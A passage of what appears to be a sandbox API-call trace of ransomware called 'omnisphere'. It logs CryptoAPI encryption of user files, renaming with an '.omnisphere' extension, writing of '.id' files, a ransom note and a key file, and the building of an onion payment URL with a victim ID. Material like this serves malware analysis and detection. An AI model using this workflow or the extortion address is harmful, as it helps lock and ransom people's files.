GetTickCount () returned 0x116023a [0128.835] GetTickCount () returned 0x116023a [0128.835] GetTickCount () returned 0x116023a [0128.835] GetTickCount () returned 0x116023a [0128.835] GetTickCount () returned 0x116023a [0128.835] GetTickCount () returned 0x116023a [0128.835] GetTickCount () returned 0x116023a [0128.835] GetTickCount () returned 0x116023a [0128.835] GetTickCount () returned 0x116023a [0128.835] GetTickCount () returned 0x116023a [0128.835] GetTickCount () returned 0x116023a [0128.835] GetTickCount () returned 0x116023a [0128.835] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1669098) returned 1 [0128.836] CryptImportKey (in: hProv=0x1669098, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639b68) returned 1 [0128.836] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0128.836] CryptDestroyKey (hKey=0x1639b68) returned 1 [0128.836] CryptReleaseContext (hProv=0x1669098, dwFlags=0x0) returned 1 [0128.836] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18, lpName=0x0) returned 0x3c0 [0128.836] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18) returned 0x1480000 [0128.836] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x16691a8) returned 1 [0128.837] CryptImportKey (in: hProv=0x16691a8, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639b68) returned 1 [0128.837] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0128.837] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0128.837] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.837] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.837] CryptDestroyKey (hKey=0x1639b68) returned 1 [0128.837] CryptReleaseContext (hProv=0x16691a8, dwFlags=0x0) returned 1 [0128.837] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x18, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0128.837] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0128.839] GetProcessHeap () returned 0x1600000 [0128.839] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x304) returned 0x1724a40 [0128.839] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\f18460fded109990.customDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\f18460fded109990.customdestinations-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\f18460fded109990.customDestinations-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\f18460fded109990.customdestinations-ms.omnisphere")) returned 1 [0128.840] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\f18460fded109990.customDestinations-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\f18460fded109990.customDestinations-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\f18460fded109990.customDestinations-ms.omnisphere.id" [0128.840] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\f18460fded109990.customDestinations-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\f18460fded109990.customdestinations-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0128.841] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0128.842] CloseHandle (hObject=0x388) returned 1 [0128.842] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0128.843] CloseHandle (hObject=0x3c0) returned 1 [0128.843] SetEndOfFile (hFile=0x288) returned 1 [0128.857] FlushFileBuffers (hFile=0x288) returned 1 [0128.861] CloseHandle (hObject=0x288) returned 1 [0128.861] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\f18460fded109990.customDestinations-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations") returned 1 [0128.861] GetProcessHeap () returned 0x1600000 [0128.861] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1724d50 [0128.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0128.861] GetProcessHeap () returned 0x1600000 [0128.861] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fdd70 [0128.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fdd70, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0128.861] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0128.861] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0128.861] GetProcessHeap () returned 0x1600000 [0128.861] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710360 [0128.862] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710360, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0128.862] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0128.862] GetProcessHeap () returned 0x1600000 [0128.862] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd6) returned 0x17141f8 [0128.862] PathCombineW (in: pszDest=0x17141f8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\!DECRYPT_OMNISPHERE.txt" [0128.862] GetProcessHeap () returned 0x1600000 [0128.862] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1717198 [0128.862] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.862] WriteFile (in: hFile=0x288, lpBuffer=0x1717198*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x1717198*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0128.862] CloseHandle (hObject=0x288) returned 1 [0128.862] GetProcessHeap () returned 0x1600000 [0128.863] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1724d50 | out: hHeap=0x1600000) returned 1 [0128.863] GetProcessHeap () returned 0x1600000 [0128.863] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xcc) returned 0x16241b0 [0128.863] PathCombineW (in: pszDest=0x16241b0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\unique_decrypt.key" [0128.863] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\customdestinations\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0128.863] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0128.863] CloseHandle (hObject=0x288) returned 1 [0128.863] GetProcessHeap () returned 0x1600000 [0128.863] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16241b0 | out: hHeap=0x1600000) returned 1 [0128.863] GetProcessHeap () returned 0x1600000 [0128.863] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0128.863] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b77e1, ftCreationTime.dwHighDateTime=0x1d327c7, ftLastAccessTime.dwLowDateTime=0x25632b00, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x25632b00, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0xcc, cFileName="f18460fded109990.customDestinations-ms", cAlternateFileName="F18460~1.CUS")) returned 0 [0128.863] FindClose (in: hFindFile=0x1639b28 | out: hFindFile=0x1639b28) returned 1 [0128.864] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\*", lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf9a81f7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x2de379e4, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2de379e4, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639868 [0128.864] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf9a81f7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x2de379e4, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2de379e4, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.864] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dcba499, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2dcba499, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2de83f33, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0128.864] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bfc86f, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0xa5bfc86f, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x2dc941c5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x1953, dwReserved0=0x0, dwReserved1=0x0, cFileName="28c8b86deab549a1.customDestinations-ms.omnisphere", cAlternateFileName="28C8B8~1.OMN")) returned 1 [0128.864] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2daca536, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2daca536, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2dc941c5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="28c8b86deab549a1.customDestinations-ms.omnisphere.id", cAlternateFileName="28C8B8~1.ID")) returned 1 [0128.864] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3564a0f, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xd3564a0f, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0x2dd06958, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x1a68, dwReserved0=0x0, dwReserved1=0x0, cFileName="590aee7bdd69b59b.customDestinations-ms.omnisphere", cAlternateFileName="590AEE~1.OMN")) returned 1 [0128.864] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dd06958, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2dd06958, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2dd06958, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="590aee7bdd69b59b.customDestinations-ms.omnisphere.id", cAlternateFileName="590AEE~1.ID")) returned 1 [0128.864] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f404d4a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x96c71f96, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2dd78ed1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5416, dwReserved0=0x0, dwReserved1=0x0, cFileName="6824f4a902c78fbd.customDestinations-ms.omnisphere", cAlternateFileName="6824F4~1.OMN")) returned 1 [0128.864] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dd52d30, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2dd52d30, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2dd78ed1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="6824f4a902c78fbd.customDestinations-ms.omnisphere.id", cAlternateFileName="6824F4~1.ID")) returned 1 [0128.864] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfad9510, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe96819d1, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2dd9f115, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x53c, dwReserved0=0x0, dwReserved1=0x0, cFileName="7e4dca80246863e3.customDestinations-ms.omnisphere", cAlternateFileName="7E4DCA~1.OMN")) returned 1 [0128.864] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dd9f115, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2dd9f115, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2dd9f115, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="7e4dca80246863e3.customDestinations-ms.omnisphere.id", cAlternateFileName="7E4DCA~1.ID")) returned 1 [0128.864] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0effce, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x98e794b5, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x2ddeb609, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xb70, dwReserved0=0x0, dwReserved1=0x0, cFileName="9d1f905ce5044aee.customDestinations-ms.omnisphere", cAlternateFileName="9D1F90~1.OMN")) returned 1 [0128.864] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ddeb609, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2ddeb609, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2ddeb609, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="9d1f905ce5044aee.customDestinations-ms.omnisphere.id", cAlternateFileName="9D1F90~1.ID")) returned 1 [0128.864] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf9a81f7, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe959cb77, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2de11785, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x53c, dwReserved0=0x0, dwReserved1=0x0, cFileName="f01b4d95cf55d32a.customDestinations-ms.omnisphere", cAlternateFileName="F01B4D~1.OMN")) returned 1 [0128.864] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de11785, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2de11785, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2de11785, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="f01b4d95cf55d32a.customDestinations-ms.omnisphere.id", cAlternateFileName="F01B4D~1.ID")) returned 1 [0128.864] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b77e1, ftCreationTime.dwHighDateTime=0x1d327c7, ftLastAccessTime.dwLowDateTime=0x25632b00, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x2de5dd2f, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x53c, dwReserved0=0x0, dwReserved1=0x0, cFileName="f18460fded109990.customDestinations-ms.omnisphere", cAlternateFileName="F18460~1.OMN")) returned 1 [0128.864] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de379e4, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2de379e4, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2de379e4, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="f18460fded109990.customDestinations-ms.omnisphere.id", cAlternateFileName="F18460~1.ID")) returned 1 [0128.864] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dcba499, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2dcba499, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2de83f33, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0128.865] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dcba499, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2dcba499, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2de83f33, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0128.865] FindClose (in: hFindFile=0x1639868 | out: hFindFile=0x1639868) returned 1 [0128.865] GetProcessHeap () returned 0x1600000 [0128.865] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f4d38 | out: hHeap=0x1600000) returned 1 [0128.865] GetProcessHeap () returned 0x1600000 [0128.865] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0128.865] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2102c5fa, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2102c5fa, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28786c81, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x7ac, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="cvDAOhNO K.lnk.omnisphere", cAlternateFileName="CVDAOH~1.OMN")) returned 1 [0128.865] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28760a21, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x28760a21, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x28786c81, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="cvDAOhNO K.lnk.omnisphere.id", cAlternateFileName="CVDAOH~1.ID")) returned 1 [0128.865] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44111bf3, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44111bf3, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x287d31eb, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x6d4, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="desktop.ini.omnisphere", cAlternateFileName="DESKTO~1.OMN")) returned 1 [0128.865] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x287d31eb, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x287d31eb, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x287d31eb, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="desktop.ini.omnisphere.id", cAlternateFileName="DESKTO~1.ID")) returned 1 [0128.865] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f6a098a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1f6a098a, 